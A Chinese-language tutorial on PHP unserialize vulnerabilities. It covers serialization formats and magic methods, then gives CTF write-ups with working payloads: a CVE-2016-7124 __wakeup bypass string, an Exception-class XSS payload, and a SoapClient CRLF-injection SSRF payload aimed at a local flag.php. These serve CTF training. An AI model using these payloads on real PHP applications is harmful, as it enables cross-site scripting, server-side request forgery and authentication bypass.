方法&属性-调用详解&变量数据详解 原生类的利用场景:无方法可以使用的情况。
对象变量属性: public(公共的): 在本类内部、外部类、子类都可以访问 protect(受保护的): 只有本类或子类或父类中可以访问 private(私人的): 只有本类内部可以使用
序列化数据显示:
private 属性序列化的时候格式是%00 类名%00 成员名protect属性序列化的时候格式是%00 *%00 成员名 %00 和%00 *%00 都是插入到数据的首末的
具体代码:
<?php header ("Content-type: text/html; charset=utf-8" );三种属性
魔术方法 __construct和__destruct 1.创建触发__construct 2.强制删除和自动删除触发__destruct
class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; $this ->name = $name ; $this ->age = $age ; $this ->string = $string ; } function __destruct ( ) { echo "__destruct 类执行完毕" ."<br>" ; } } $test = new Test ("Spaceman" ,566 , 'Test String' );unset ($test );echo '第一种执行完毕' .'<br>' ;echo '----------------------<br>' ;$test = new test ("Spaceman" ,566 , 'Test String' );echo '第二种执行完毕' .'<br>' ;
__toString输出调用 __toString ():在对象当做字符串的时候会被调用class Test { public $variable = 'This is a string' ; public function good ( ) { echo $this ->variable . '<br />' ; } public function __toString ( ) { return '__toString <br>' ; } } $a = new Test ();$a ->good ();echo $a ;
__CALL class Test { public function good ($number ,$string ) { echo '存在good方法' .'<br>' ; echo $number .'---------' .$string .'<br>' ; } public function __call ($method ,$args ) { echo '不存在' .$method .'方法' .'<br>' ; var_dump ($args ); } } $a = new Test ();$a ->good (566 ,'nice' );$b = new Test ();$b ->spaceman (899 ,'no' );
__get() class Test { public $n =123 ; public function __get ($name ) { echo '__get 不存在成员变量' .$name .'<br>' ; } } $a = new Test ();echo $a ->n;echo '<br>' ;echo $a ->spaceman;
__set() class Test { public $data = 100 ; protected $noway =0 ; public function __set ($name ,$value ) { echo '__set 不存在成员变量 ' .$name .'<br>' ; echo '即将设置的值 ' .$value ."<br>" ; $this ->noway=$value ; } public function Get ( ) { echo $this ->noway; } } $a = new Test ();$a ->Get ();echo '<br>' ;$a ->noway = 899 ;$a ->Get ();echo '<br>' ;$a ->spaceman = 566 ;$a ->Get ();
__sleep() class Test { public $name ; public $age ; public $string ; public function __construct ($name , $age , $string ) { echo "__construct 初始化" ."<br>" ; $this ->name = $name ; $this ->age = $age ; $this ->string = $string ; } public function __sleep ( ) { echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>" ; return array ('name' , 'age' ); } } $a = new Test ("Spaceman" ,566 , 'Test String' );echo serialize ($a );
__wakeup() class Test { public $sex ; public $name ; public $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __wakeup ( ) { echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>" ; $this ->age = 566 ; } } $person = new Test ('spaceman' ,21 ,'男' );$a = serialize ($person );echo $a ."<br>" ;var_dump (unserialize ($a ));
__isset() class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __isset ($content ) { echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>" ; return isset ($this ->$content ); } } $person = new Person ("spaceman" , 25 ,'男' );echo ($person ->sex),"<br>" ;echo isset ($person ->name);
__unset() class Person { public $sex ; private $name ; private $age ; public function __construct ($name , $age , $sex ) { $this ->name = $name ; $this ->age = $age ; $this ->sex = $sex ; } public function __unset ($content ) { echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>" ; echo isset ($this ->$content )."<br>" ; } } $person = new Person ("spaceman" , 21 ,"男" ); echo "666666<br>" ;unset ($person ->name);unset ($person ->age);unset ($person ->sex);
__INVOKE() class Test { public function __invoke ($param1 , $param2 , $param3 ) { echo "这是一个对象<br>" ; var_dump ($param1 ,$param2 ,$param3 ); } } $a = new Test ();$a ('spaceman' ,21 ,'男' );?>
实战 CTF-语言漏洞-__wakeup()方法绕过 __construct __destruct[极客大挑战 2019 ] PHP 漏洞编号:CVE-2016 -7124 题目制约:如果存在__wakeup方法,调用unserilize ()方法前则先调用__wakeup方法, 但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 漏洞点: 影响版本:PHP5 < 5.6 .25 ;PHP7 < 7.0 .10 漏洞原因:如果存在__wakeup方法,调用 unserilize () 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 整体思路: 1 、下载源码(www.zip)分析,触发flag条件 2 、分析会触发调用__wakeup 强制username值 3 、利用语言漏洞绕过 CVE-2016 -7124 4 、构造payload后 修改满足漏洞条件触发 源码(修改过): class Name { private $username = 'admin' ; private $password = '100' ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username; echo "</br>" ; echo "You password is: " ; echo $this ->password; echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; } else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } Pyload: 生成payload的方式很简单,使用上面类,去掉所有的方法 只剩下两个变量,序列化并且url编码后,把对象O指定的数字2 (元素个数)改为3 即可 ?select=O%3 A4%3 A"Name" %3 A3%3 A%7 Bs%3 A14%3 A"%00Name%00username" %3 Bs%3 A5%3 A"admin" %3 Bs%3 A14%3 A"%00Name%00password" %3 Bi%3 A100%3 B%7 D
CTF-方法原生类-获取&利用&配合其他★★★ 参考案例:https://www.anquanke.com/post/id/264823
PHP有那些原生类-见脚本使用
常见使用的原生类-见参考案例
原生类该怎么使用-见官方说明
0 、生成原生类<?php $classes = get_declared_classes ();foreach ($classes as $class ) { $methods = get_class_methods ($class ); foreach ($methods as $method ) { if (in_array ($method , array ( '__destruct' , '__toString' , '__wakeup' , '__call' , '__callStatic' , '__get' , '__set' , '__isset' , '__unset' , '__invoke' , '__set_state' ))) { print $class . '::' . $method . "\n" ; } } }
本地Demo-xss 这本身是一道赛题。
<?php highlight_file (__file__);$a = unserialize ($_GET ['k' ]);echo $a ;?>
输出对象可调用__toString
无代码通过原生类Exception
Exception使用查询编写利用
通过访问触发输出产生XSS漏洞
<?php $a =new Exception ("<script>alert('xiaodi')</script>" );echo urlencode (serialize ($a ));?>
CTFSHOW-259
不存在的方法触发__call
无代码通过原生类SoapClient
SoapClient使用查询编写利用
通过访问本地Flag.php获取Flag
<?php $ua ="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow" ;$client =new SoapClient (null ,array ('uri' =>'http://127.0.0.1/' ,'location' =>'http://127.0.0.1/flag.php' ,'user_agent' =>$ua ));echo urlencode (serialize ($client ));?> payload: vip=O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 ssrf%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A128%3 A%22 wupco%0 D%0 AX-Forwarded-For%3 A127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D